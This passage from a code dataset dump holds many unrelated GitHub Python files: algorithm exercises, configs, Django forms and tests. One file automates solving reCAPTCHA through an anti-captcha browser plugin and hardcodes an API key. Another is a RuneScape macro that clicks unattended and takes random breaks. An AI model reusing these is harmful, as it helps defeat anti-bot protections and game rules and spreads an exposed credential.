i in stack or i == 1:\n continue\n stack.append(i)\n\nprint(len(visited))\n","repo_name":"BeenKimKr/Algorithm","sub_path":"baekjoon/problem_2606.py","file_name":"problem_2606.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"22497081170","text":"# Import libraries and objects\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport time\nimport json\n\n\n# The API messages sending directly to the plugin\n# For example for the anti-captcha.com API key init which is required for the plugin work\n# Works only on the normal HTML web page\n# https://antcpt.com/blank.html in our case\n# Won't work on pages like about:blank etc\ndef acp_api_send_request(driver, message_type, data={}):\n message = {\n\t\t# this receiver has to be always set as antiCaptchaPlugin\n 'receiver': 'antiCaptchaPlugin',\n # request type, for example setOptions\n 'type': message_type,\n # merge with additional data\n **data\n }\n # run JS code in the web page context\n # preceicely we send a standard window.postMessage method\n return driver.execute_script(\"\"\"\n return window.postMessage({});\n \"\"\".format(json.dumps(message)))\n\n\n# Init the chrome options object for connection the extension\noptions = webdriver.ChromeOptions()\n# A full path to CRX or ZIP or XPI file which was downloaded earlier\noptions.add_extension('E:/anticaptcha-plugin_v0.63.crx')\n\n# Run the browser (Chrome WebDriver) with passing the full path to the downloaded WebDriver file\nbrowser = webdriver.Chrome('E:/chromedriver.exe', options=options)\n\n# Go to the empty page for setting the API key through the plugin API request\nbrowser.get('https://antcpt.com/blank.html')\n\n# Setting up the anti-captcha.com API key\n# replace YOUR-ANTI-CAPTCHA-API-KEY to your actual API key, which you can get from here:\n# https://anti-captcha.com/clients/settings/apisetup\nacp_api_send_request(\n browser,\n 'setOptions',\n {'options': {'antiCaptchaApiKey': '5df1c6ed38216eb76b68fcc599109f1f'}}\n)\n\n# 3 seconds pause\ntime.sleep(3)\n\n# Go to the test form with reCAPTCHA 2\nbrowser.get('https://antcpt.com/rus/information/demo-form/recaptcha-2.html')\n\n# Test input\nbrowser.find_element_by_name('demo_text').send_keys('Test input')\n\n# Most important part: we wait upto 120 seconds until the AntiCaptcha plugin indicator with antigate_solver class\n# gets the solved class, which means that the captcha was successfully solved\nWebDriverWait(browser, 120).until(lambda x: x.find_element_by_css_selector('.antigate_solver.solved'))\n\n# Sending form\nbrowser.find_element_by_css_selector('input[type=submit]').click()","repo_name":"denison2106/xxxhub","sub_path":"main/service/solved.py","file_name":"solved.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"32238499226","text":"import os\nfrom pathlib import Path\n\n\ndef get_env(key, default=None):\n return os.environ[key] if key in os.environ else default\n\n\nALACRITTY = 0\nST = 1\nRIO = 2\n\nterminal = ST\n\nCSS_COMMAND = \"set content.user_stylesheets\"\nCSS_PATH = \"~/ghq/github.com/alphapapa/solarized-everything-css/css\"\n\nDEFAULT_PAGE = \"https://github.com/notifications?query=is%3Aunread\"\n\nFILEPICKER = \"ranger\"\n\nconfig.load_autoconfig(True)\n\ndownloads_dir = get_env(\"XDG_DOWNLOAD_DIR\", \"~/downloads\")\nPath(downloads_dir).expanduser().mkdir(parents=True, exist_ok=True)\nc.downloads.location.directory = downloads_dir\n\nif terminal == ST:\n terminal = \"st\"\n flags = [\"-c\", \"qutebrowser-filepicker\", \"-n\", \"qutebrowser-filepicker\"]\nelif terminal == RIO:\n terminal = \"rio\"\n flags = []\nelse:\n terminal = \"alacritty\"\n flags = [\"--class\", \"qutebrowser-filepicker,qutebrowser-filepicker\"]\n\nfilepicker_cmd = [terminal, *flags, \"-e\", FILEPICKER]\n\nc.fileselect.folder.command = filepicker_cmd + ['--choosedir={}']\nc.fileselect.handler = 'external'\nc.fileselect.multiple_files.command = filepicker_cmd + ['--choosefiles={}']\nc.fileselect.single_file.command = filepicker_cmd + ['--choosefile={}']\n\nc.fonts.default_family = [\"Mononoki\"]\n\nc.url.default_page = DEFAULT_PAGE\nc.url.start_pages = [DEFAULT_PAGE]\n\nconfig.bind(\",so\", \"config-source\")\n\ntheme_bindings = {\n \",ap\": \"apprentice\",\n \",dr\": \"darculized\",\n \",gr\": \"gruvbox\",\n \",sd\": \"solarized-dark\",\n \",sl\": \"solarized-light\",\n \",,\": \"\",\n}\nfor binding, theme in theme_bindings.items():\n theme_path = f'{CSS_PATH}/{theme}/{theme}-all-sites.css' if theme else \"\\\"\\\"\"\n config.bind(binding, f'{CSS_COMMAND} {theme_path}')\n\nconfig.bind(',M', 'hint links spawn mpv --ytdl-format=\"bestvideo[height<=480]+bestaudio[ext=m4a]\" {hint-url}')\nconfig.bind(',P', 'hint links spawn mpv --ytdl-format=\"bestaudio[ext=m4a]\" {hint-url} --no-video')\nconfig.bind(',F', 'hint links spawn firefox {hint-url}')\nconfig.bind(',Z', 'hint links spawn st -c qutebrowser-ytdl-download -e youtube-dl {hint-url}')\n\nconfig.bind(',xb', 'config-cycle statusbar.show always never')\nconfig.bind(',xt', 'config-cycle tabs.show always never')\nconfig.bind(',xx', 'config-cycle statusbar.show always never;; config-cycle tabs.show always never')\n\nconfig.bind(',', 'fake-key ')\n","repo_name":"amtoine/dotfiles","sub_path":".config/qutebrowser/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"28"} +{"seq_id":"1581196073","text":"#\n# Helper script to run a batch of evaluations locally\n#\nimport argparse\nimport os\nimport subprocess\n\nfrom cdi.util.utils import flatten_arg_namespace_to_dict\n\n\ndef argparser():\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset',\n type=str, required=True,\n help=('Name of the dataset, or the name of the first '\n 'subdirectory under `experiment_configs`.'))\n parser.add_argument('--eval_type',\n type=str, required=True,\n help=('Type of evaluation to be run. Matches the '\n 'subdirectory name of the config files.'))\n parser.add_argument('--model_file',\n type=str,\n help=('Path to the `models.txt` file, which contains '\n 'the names of the models for which to run the '\n 'evaluations.'))\n parser.add_argument('--models',\n type=str, nargs='+',\n help=('Names of the model for which to create the '\n 'evaluation configs.'))\n parser.add_argument('--groups',\n type=int, nargs='+', required=True,\n help=('Experiment groups to run i.e. [1..6]'))\n\n return parser\n\n\nif __name__ == '__main__':\n args, unk_args = argparser().parse_known_args()\n assert (args.model_file is not None\n or args.models is not None),\\\n 'Either `model_file` or `models` arguments needs to be provided!'\n\n assert not (args.model_file is not None\n and args.models is not None),\\\n 'Only one of `model_file` or `models` arguments should be provided!'\n\n print('Args:\\n', flatten_arg_namespace_to_dict(args))\n print('Test args:\\n', unk_args)\n\n if args.model_file is not None:\n with open(args.model_file, 'r') as f:\n models = f.readlines()\n models = set(model.strip() for model in models if len(model.strip()) != 0)\n elif args.models is not None:\n models = args.models\n\n eval_conf_path = os.path.join('experiment_configs',\n args.dataset,\n args.eval_type)\n\n # Run evaluations\n for g in args.groups:\n for model in models:\n model_config_name = f'{model}.json'\n path = os.path.join(eval_conf_path, str(g), model_config_name)\n\n cli_args = ['--test_config', path] + unk_args\n print(f'Executing with args: {cli_args}')\n subprocess.call(['python', 'test.py'] + cli_args)\n","repo_name":"vsimkus/variational-gibbs-inference","sub_path":"scripts/run_batch_eval_local.py","file_name":"run_batch_eval_local.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"23388593067","text":"# 8차시 6일차 - 노드의 거리\n# https://swexpertacademy.com/main/learn/course/lectureProblemViewer.do\n\n\ndef bfs(start, end, depth):\n visited[start] = True\n queue = [(start, depth)]\n\n while queue:\n v, d = queue.pop(0)\n for next_v in graph[v]: # v정점에서 이동 가능한 모든 노선에 대하여\n if not visited[next_v]:\n visited[next_v] = True\n queue.append((next_v, d + 1))\n\n if next_v == end:\n return d + 1 # 1을 더해주는 이유는 next_v를 기준으로 식이 짜여져 있기 때문에\n # 당시 변수의 기준은 depth를 포함 도착 전 이라서 1을 더해줘야 목적지의 깊이가 나오게 됨.\n return 0\n\n\nT = int(input()) # T = testcase\nfor case in range(1, T + 1):\n V, E = map(int, input().split()) # V = node의 수(정점), E 간선개수\n edges = [list(map(int, input().split())) for _ in range(E)] # edges = 간선정보\n graph = [[] for _ in range(V + 1)]\n visited = [False] * (V + 1)\n S, G = map(int, input().split())\n\n # 인접 리스트 만들기\n for v1, v2 in edges:\n graph[v1].append(v2)\n graph[v2].append(v1)\n print(f'#{case} {bfs(S, G, 0)}')\n","repo_name":"Vailish/TIL","sub_path":"03_Algorithm/Examples/07_Queue/11_swea_5102_노드의거리_BFS/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"8676568647","text":"from django.utils.functional import lazy\n\nfrom auf.django.references import models as ref\n\nfrom cartographie.formation.models import Formation\nfrom cartographie.formation.constants import StatutsFormation\n\ndef stats(request):\n def _formations():\n return str(Formation.objects.exclude(statut=StatutsFormation.supprimee).count())\n\n def _etablissements():\n data = Formation.objects.exclude(statut=StatutsFormation.supprimee) \\\n .values('etablissement')\n etablissements = set()\n for d in data:\n etablissements.add(d['etablissement'])\n return str(len(etablissements))\n\n def _disciplines():\n data = Formation.objects.exclude(statut=StatutsFormation.supprimee) \\\n .values('discipline_1', 'discipline_2', 'discipline_3')\n disciplines = set()\n for d in data:\n disciplines.add(d['discipline_1'])\n disciplines.add(d['discipline_2'])\n disciplines.add(d['discipline_3'])\n return str(len(disciplines))\n\n def _pays():\n data = Formation.objects.exclude(statut=StatutsFormation.supprimee).values('etablissement__pays')\n pays = set()\n for d in data:\n pays.add(d['etablissement__pays'])\n return str(len(pays))\n\n return {\n 'stats_formations': lazy(_formations, str),\n 'stats_etablissements': lazy(_etablissements, str),\n 'stats_disciplines': lazy(_disciplines, str),\n 'stats_pays': lazy(_pays, str),\n }\n","repo_name":"auf/cartographie","sub_path":"cartographie/home/context_processor.py","file_name":"context_processor.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"} +{"seq_id":"12393734374","text":"import json\nimport logging\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.realpath(__file__)) + \"/../\")\nimport github\nfrom irc import Colors\n\n\ndef Watch(payload):\n\n action = payload[\"action\"]\n logging.info(\"Received action '%s'\" % action)\n colors = Colors()\n\n if action == \"started\":\n message = (\n \"[{light_purple}{repo}{reset}] {dark_gray}{user}{reset} started starring. New stargazers count: {stargazers}\\r\\n\"\n ).format(\n repo = payload[\"repository\"][\"name\"],\n user = payload[\"sender\"][\"login\"],\n stargazers = payload[\"repository\"][\"stargazers_count\"],\n dark_gray = colors.dark_gray,\n light_purple = colors.light_purple,\n reset = colors.reset\n )\n\n return {\n \"statusCode\": 200,\n \"messages\": [message]\n }\n\n else:\n message = \"Watch Action was %s. Doing nothing.\" % action\n logging.info(message)\n return {\n \"statusCode\": 202,\n \"body\": json.dumps({\n \"success\": True,\n \"message\": message\n })\n }\n","repo_name":"ircd-hybrid/gh2irc","sub_path":"ghi/events/watch.py","file_name":"watch.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"15331704041","text":"import numpy as np\r\nfrom PIL import Image\r\nwidth, height = 5, 4\r\n\r\narray = np.zeros([height, width, 3], dtype = np.uint8)\r\n# datatype is unassigned 8 bit integers\r\n# each pixel contain 3 vlues for RGB hence we write 3 in the dimension of the\r\n# array\r\n# the image formed is only back since all values are black intially\r\n\r\nimg = Image.fromarray(array)\r\n\r\nimg. save(\"test.png\")\r\n\r\narray1 = np.zeros([100, 200, 3], dtype = np.uint8)\r\narray1[:, :100] = [255, 128, 0] # orange, in first 99 columns for all rows\r\narray1[:, 100:] = [0, 0, 255] # blue, in 100 to rest columns for all rows\r\n\r\nimg = Image.fromarray(array1)\r\nimg. save(\"test1.png\")\r\n\r\n","repo_name":"JoydeepMallick/Joy-of-Computing-Using-Python-Tasks","sub_path":"area calculation in map/img_create.py","file_name":"img_create.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"27590582897","text":"import sys\na, b = map(int,sys.stdin.readline().split())\n\n\nalllist = []\np = True\nfor j in range(1,b+1):\n books = int(input())\n bookti = list(map(int,input().split()))\n for k in range(books-1):\n if bookti[k] < bookti[k+1]:\n print('No')\n p = False\n else: \n continue\nif p:\n print('Yes')\n","repo_name":"tenedict/01-ALGORITHM","sub_path":"3회차/문재윤/20220801/23253.py","file_name":"23253.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"32332418057","text":"#write a class Train which has methods to book a ticket, get status (no. of seats) and get fare information \n#of trains running under indian railways.\n\nclass Train:\n def __init__(self, name, fare, seats):\n self.name = name\n self.fare = fare\n self.seats = seats\n \n def getStatus(self):\n print(f\"The name of the train is : {self.name}.\\nThe seats available in this train are : {self.seats}\")\n\n def getFareInfo(self):\n print(f\"The price of the ticket is : Rs. {self.fare}\")\n\n def bookTicket(self):\n if(self.seats > 0):\n print(f\"Your ticket has been booked, your seat number is {self.seats}\")\n self.seats = self.seats - 1\n else:\n print(f\"Sorry! the train is full\")\n\n def cancelTicket(self):\n self.seats = self.seats + 1\n print(\"Your seat has been cancelled\")\n\nintercity = Train(\"Intercity Express : 14015\", 90, 200)\nprint(\"**************************************************************\")\nintercity.getStatus()\nintercity.getFareInfo()\nintercity.bookTicket()\nprint(\"**************************************************************\")\nintercity.getStatus()\nprint(\"**************************************************************\")\nintercity.cancelTicket()\nintercity.getStatus()\nprint(\"**************************************************************\")\n","repo_name":"pallavi-gope/Python_Programs","sub_path":"07_OOP/12_oop_pr_05.py","file_name":"12_oop_pr_05.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"1389579395","text":"import typing\nfrom abjad.system.AbjadObject import AbjadObject\n\n\nclass CyclicTuple(AbjadObject):\n \"\"\"\n Cyclic tuple.\n\n .. container:: example\n\n Initializes from string:\n\n >>> tuple_ = abjad.CyclicTuple('abcd')\n\n >>> tuple_\n CyclicTuple(['a', 'b', 'c', 'd'])\n\n >>> for x in range(8):\n ... print(x, tuple_[x])\n ...\n 0 a\n 1 b\n 2 c\n 3 d\n 4 a\n 5 b\n 6 c\n 7 d\n\n Cyclic tuples overload the item-getting method of built-in tuples.\n\n Cyclic tuples return a value for any integer index.\n\n Cyclic tuples otherwise behave exactly like built-in tuples.\n \"\"\"\n\n ### CLASS VARIABLES ###\n\n __slots__ = (\n '_items',\n )\n\n ### INITIALIZER ###\n\n def __init__(\n self,\n items: typing.Sequence = None,\n ) -> None:\n items = items or ()\n items = tuple(items)\n self._items: typing.Tuple = items\n\n ### SPECIAL METHODS ###\n\n def __contains__(self, item) -> bool:\n \"\"\"\n Is true when cyclic tuple contains ``item``.\n \"\"\"\n return self._items.__contains__(item)\n\n def __eq__(self, argument) -> bool:\n \"\"\"\n Is true when ``argument`` is a tuple with items equal to those of this\n cyclic tuple.\n \"\"\"\n if isinstance(argument, tuple):\n return self._items == argument\n elif isinstance(argument, type(self)):\n return self._items == argument._items\n return False\n\n def __getitem__(self, argument) -> typing.Any:\n \"\"\"\n Gets item or slice identified by ``argument``.\n\n .. container:: example\n\n Gets slice open at right:\n\n >>> items = [0, 1, 2, 3, 4, 5]\n >>> tuple_ = abjad.CyclicTuple(items=items)\n >>> tuple_[2:]\n (2, 3, 4, 5)\n\n .. container:: example\n\n Gets slice closed at right:\n\n >>> items = [0, 1, 2, 3, 4, 5]\n >>> tuple_ = abjad.CyclicTuple(items=items)\n >>> tuple_[:15]\n (0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2)\n\n Raises index error when ``argument`` can not be found in cyclic tuple.\n \"\"\"\n if isinstance(argument, slice):\n if ((argument.stop is not None and argument.stop < 0) or\n (argument.start is not None and argument.start < 0)):\n return self._items.__getitem__(argument)\n else:\n return self._get_slice(argument.start, argument.stop)\n if not self:\n raise IndexError(f'cyclic tuple is empty: {self!r}.')\n argument = argument % len(self)\n return self._items.__getitem__(argument)\n\n def __hash__(self) -> int:\n \"\"\"\n Hashes cyclic tuple.\n\n Redefined in tandem with __eq__.\n \"\"\"\n return super().__hash__()\n\n def __iter__(self) -> typing.Iterator:\n \"\"\"\n Iterates cyclic tuple.\n\n Iterates items only once.\n\n Does not iterate infinitely.\n \"\"\"\n return self._items.__iter__()\n\n def __len__(self) -> int:\n \"\"\"\n Gets length of cyclic tuple.\n \"\"\"\n assert isinstance(self._items, tuple)\n return self._items.__len__()\n\n def __str__(self) -> str:\n \"\"\"\n Gets string representation of cyclic tuple.\n\n .. container:: example\n\n Gets string:\n\n >>> str(abjad.CyclicTuple('abcd'))\n '(a, b, c, d)'\n\n .. container:: example\n\n Gets string:\n\n >>> str(abjad.CyclicTuple([1, 2, 3, 4]))\n '(1, 2, 3, 4)'\n\n \"\"\"\n if self:\n contents = [str(item) for item in self._items]\n string = ', '.join(contents)\n string = f'({string})'\n return string\n return '()'\n\n ### PRIVATE METHODS ###\n\n def _get_format_specification(self):\n import abjad\n return abjad.FormatSpecification(\n client=self,\n repr_is_indented=False,\n storage_format_args_values=[list(self._items)],\n )\n\n def _get_slice(self, start_index, stop_index):\n if stop_index is not None and 1000000 < stop_index:\n stop_index = len(self)\n result = []\n if start_index is None:\n start_index = 0\n if stop_index is None:\n indices = range(start_index, len(self))\n else:\n indices = range(start_index, stop_index)\n result = [self[n] for n in indices]\n return tuple(result)\n\n ### PUBLIC PROPERTIES ###\n\n @property\n def items(self) -> typing.Tuple:\n \"\"\"\n Gets items in cyclic tuple.\n\n .. container:: example\n\n Gets items:\n\n >>> tuple_ = abjad.CyclicTuple('abcd')\n >>> tuple_.items\n ('a', 'b', 'c', 'd')\n\n .. container:: example\n\n Gets items:\n\n >>> tuple_ = abjad.CyclicTuple([1, 2, 3, 4])\n >>> tuple_.items\n (1, 2, 3, 4)\n\n \"\"\"\n return self._items\n","repo_name":"gsy/gmajor","sub_path":"abjad_demo/env/lib/python3.6/site-packages/abjad/utilities/CyclicTuple.py","file_name":"CyclicTuple.py","file_ext":"py","file_size_in_byte":5081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"39519605601","text":"# 더 맵게\nimport heapq\n\ndef solution(scoville, K):\n heapq.heapify(scoville)\n ans = 0\n if len(scoville) <= 1:\n return -1\n else:\n while scoville[0] > ' '.join\n\n","repo_name":"amogorkon/justuse","sub_path":"tests/.tests/.test3.py","file_name":".test3.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"27"} +{"seq_id":"37261423418","text":"import sys\nfrom typing import List\n\n\nclass Solution:\n \"\"\"\n Time: O(n)\n Space: O(n)\n \"\"\"\n\n def maxProfit(self, prices: List[int]) -> int:\n n = len(prices)\n\n if not n:\n return 0\n\n dp = [0] * n\n for transaction in range(1, 3):\n max_dif = -sys.maxsize\n prev = dp[0]\n for day in range(1, n):\n tmp = dp[day]\n max_dif = max(max_dif, prev - prices[day - 1])\n dp[day] = max(dp[day - 1], prices[day] + max_dif)\n prev = tmp\n return dp[-1]\n","repo_name":"Vasilic-Maxim/LeetCode-Problems","sub_path":"problems/123. Best Time to Buy and Sell Stock III/1 - DP.py","file_name":"1 - DP.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"6672489131","text":"import os\nimport json\nimport boto3\nimport pytest\nfrom ec2tool import instances\nfrom moto import mock_ec2\n\nclass FlightData(object):\n\n def __init__(self, filename):\n self.filename = filename\n\n def loadjson(self):\n instances = json.loads(\n open(os.path.join(os.path.dirname(__file__), \"data\", self.filename)).read()\n )\n return instances\n\ndef test_filter_all_instances():\n \"\"\"\n tests if all instances filter works\n mock ec2 instance data with json file\n \"\"\"\n data = FlightData('test_ec2_all_running.json')\n instances = data.loadjson()\n for inst in instances:\n assert inst['Instances'][0]['State']['Name'] == 'running'\n\n\ndef test_filter_on_product():\n \"\"\"\n test filter on recivied prodtc argument\n hardcode 'cell' and 'product' name\n abd pass into filter_inst method\n \"\"\"\n data = FlightData('test_ec2_filter_product.json')\n instances = data.loadjson()\n bld = ['njpxbld06job001', 'njpxbld06api001']\n\n for inst in instances:\n instance_name = [x['Value'] for x in inst['Instances'][0]['Tags'] if x['Key'] == 'Name'][0]\n assert instance_name in bld\n\ndef test_product_not_supported():\n cell = 'njp'\n with pytest.raises(SystemExit):\n inst = instances.filter_inst(cell, 'cat')\n\n\ndef test_filter_on_ip():\n \"\"\"\n tests filter on ip, mocks ec2\n instance data with json file\n Lets assert the ip address of\n puppetmaster\n \"\"\"\n puppetmasterIP = '100.100.2.87'\n data = FlightData('test_ec2_all_running.json')\n instances = data.loadjson()\n for inst in instances:\n instance_name = [x['Value'] for x in inst['Instances'][0]['Tags'] if x['Key'] == 'Name'][0]\n ip = inst['Instances'][0]['PrivateIpAddress']\n if puppetmasterIP in ip:\n assert instance_name == 'njpxpup05mst001'\n assert ip == '100.100.2.87'\n\n\n\n","repo_name":"mafitconsulting/ec2cli","sub_path":"tests/test_instances.py","file_name":"test_instances.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"26168212931","text":"## Initialisation\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport copy\n\ndef assignment(df, centroids, colmap):\n for i in centroids.keys():\n # sqrt((x1 - x2)^2 - (y1 - y2)^2)\n df['distance_from_{}'.format(i)] = (\n np.sqrt(\n (df['x'] - centroids[i][0]) ** 2\n + (df['y'] - centroids[i][1]) ** 2\n )\n )\n centroid_distance_cols = ['distance_from_{}'.format(i) for i in centroids.keys()]\n df['closest'] = df.loc[:, centroid_distance_cols].idxmin(axis=1)\n df['closest'] = df['closest'].map(lambda x: int(x.lstrip('distance_from_')))\n df['color'] = df['closest'].map(lambda x: colmap[x])\n return df\n\ndef update(df, centroids):\n for i in centroids.keys():\n centroids[i][0] = np.mean(df[df['closest'] == i]['x'])\n centroids[i][1] = np.mean(df[df['closest'] == i]['y'])\n return centroids\n\ndef k_means(df, centroids, colmap):\n # Continue until all assigned categories don't change any more\n while True:\n closest_centroids = df['closest'].copy(deep=True)\n centroids = update(df, centroids)\n df = assignment(df, centroids, colmap)\n if closest_centroids.equals(df['closest']):\n return df, centroids\n\nif __name__ == \"__main__\":\n x = []\n y = []\n\n np.random.seed(200)\n\n for i in range(1000):\n x.append(np.random.randint(0,1000))\n y.append(np.random.randint(0,1000))\n\n df = pd.DataFrame()\n df['x'] = y\n df['y'] = x\n\n k = 4\n # centroids[i] = [x, y]\n centroids = {\n i+1: [np.random.randint(0, 1000), np.random.randint(0, 1000)]\n for i in range(k)\n }\n colmap = {1: 'r', 2: 'g', 3: 'b', 4:'k'}\n\n ## Assignment Stage\n df = assignment(df, centroids, colmap)\n print(df.head())\n\n df, centroids = k_means(df, centroids, colmap)\n\n fig = plt.figure(figsize=(5, 5))\n plt.scatter(df['x'], df['y'], color=df['color'], alpha=0.5, edgecolor='k')\n for i in centroids.keys():\n plt.scatter(*centroids[i], color=colmap[i])\n plt.xlim(0, 1000)\n plt.ylim(0, 1000)\n plt.show()","repo_name":"sircoderin/Autonomous-rover","sub_path":"Utilities/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"17556312513","text":"\n\n# important for the code that this stays in counting order with no missing numbers\n# and also stays consistent with the one found in config.py of agency_finder_data_cleaning repo\nCOMPONENT_DICT = {\n 0: 'nppd',\n 1: 'uscis',\n 2: 'mgmt',\n 3: 'scrtsrvc',\n 4: 'ia',\n 5: 'oig',\n 6: 'ice',\n 7: 'fletc',\n 8: 'st',\n 9: 'cbp',\n 10: 'ops',\n 11: 'tsa',\n 12: 'obim',\n 13: 'fema',\n 14: 'crcl',\n 15: 'fps',\n 16: 'uscg',\n 17: 'dea',\n 18: 'eoir',\n 19: 'oip',\n}","repo_name":"Polydelta-ai/doj-foia-model-portfolio","sub_path":"agency_finder/agency_config.py","file_name":"agency_config.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19449725604","text":"# # # # # # # # # # # # # # # # # # # # # # # #\n# This is a script for RuneScape #\n# #\n# You need 52 agility to use it #\n# #\n# #\n# #\n# Type: py wildyagil.py n #\n# where n = time(hours) to run for. #\n# Time to 99 mage = 150 hours. #\n# #\n# # # # # # # # # # # # # # # # # # # # # # # #\n\n\nimport pyautogui\nimport pynput\nimport random\nimport json\nimport time\nimport sys\nfrom datetime import datetime, timedelta\nfrom pynput.mouse import Listener, Button, Controller\n\n# Globals\nmovementType = [pyautogui.easeInQuad, pyautogui.easeOutQuad, pyautogui.easeInOutQuad]\n\ndef getCoords():\n print(\"Getting agility coords...\")\n with open('coords.json', 'r') as file:\n loaded_data = json.load(file)\n return loaded_data\n\ndef click(t):\n time.sleep(t)\n pyautogui.click(button='left')\n \nif __name__ == '__main__':\n if len(sys.argv) > 1:\n now = datetime.now()\n timeToRun = now + timedelta(minutes = int(sys.argv[1]) )\n else:\n print(\"Please enter a time to run for.\")\n sys.exit(0)\n\n print(\"Starting wildy agility course...\")\n\n while True:\n now = datetime.now()\n if now < timeToRun:\n # every 15 minutes, take a break (33% of the time)\n if now.minute % 15 == 0:\n factor = random.randrange(1,15)\n if factor == 3:\n print(\"Taking a break...\")\n time.sleep(random.randrange(60,120))\n\n print(\"Running at current time: \" + str(datetime.now()) + \" Time to end: \" + str(timeToRun))\n moveType = random.choice(movementType)\n\n coords = getCoords()[\"coordinates\"]\n # MOVE\n print(\"1st obstacle.\")\n pyautogui.moveTo(coords[0][0], coords[0][1], 0.5)\n click(0)\n\n \n time.sleep(7)\n print(\"2nd obstacle.\")\n pyautogui.moveTo(coords[1][0], coords[1][1], 0.5)\n click(0)\n\n \n time.sleep(6)\n print(\"3rd obstacle.\")\n pyautogui.moveTo(coords[2][0], coords[2][1], 0.5)\n click(0)\n\n \n time.sleep(5)\n print(\"4th obstacle.\")\n pyautogui.moveTo(coords[3][0], coords[3][1], 0.5)\n click(0)\n\n \n time.sleep(7)\n print(\"5th obstacle.\")\n pyautogui.moveTo(coords[4][0], coords[4][1], 0.5)\n click(0)\n\n \n time.sleep(6)\n print(\"6th obstacle.\")\n pyautogui.moveTo(coords[5][0], coords[5][1], 0.5)\n click(0)\n\n print(\"7th obstacle.\")\n pyautogui.moveTo(coords[6][0], coords[6][1], 0.5)\n click(0)\n time.sleep(5)\n \n else:\n print(\"Ending session at: \" + str(datetime.now()))\n logout()\n sys.exit(0)","repo_name":"steaward/Python_OSRS_Macros","sub_path":"wilderness-agility/wildyagil.py","file_name":"wildyagil.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71122040391","text":"import datetime\n\nfrom django import forms\nfrom django.contrib.auth.forms import UserCreationForm, UserChangeForm\nfrom .models import User, UserData, Processo\n\nclass CustomUserCreateForm(UserCreationForm):\n\n class Meta(UserCreationForm):\n model = User\n fields = ('email', 'matricula')\n\n\nclass CustomUserChangeForm(UserChangeForm):\n\n class Meta(UserChangeForm):\n model = User\n fields = ('email', 'matricula')\n\nclass UserDataForm(forms.ModelForm):\n\n class Meta:\n model = UserData\n fields = ('nome', 'doc_identificacao', 'doc_tipo',\n 'endereco', 'bairro', 'telefone', 'curso')\n\n nome = forms.CharField(\n label='Nome do Requerente',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\n doc_identificacao = forms.CharField(\n label='Documento de Identificação',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\n doc_tipo = forms.CharField(\n label='Tipo de documento',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\n endereco = forms.CharField(\n label='Endereço',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\n bairro = forms.CharField(\n label='Bairro',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\n telefone = forms.CharField(\n label='Telefone',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\n cep = forms.CharField(\n label='CEP',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\n curso = forms.CharField(\n label='Curso',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=True\n )\n\nclass ProcessoForm(forms.ModelForm):\n \n class Meta:\n model = Processo\n fields = ('numero', 'esclarecimentos', 'tipo_processo',\n 'natureza_processo', 'parecer', 'user_data')\n\n numero = forms.CharField(\n label='Número do Processo',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=False\n )\n\n tipo_processo = forms.CharField(\n label='Objeto do requerimento',\n widget=forms.Textarea(),\n required=False\n )\n\n esclarecimentos = forms.CharField(\n label='Esclarecimentos',\n 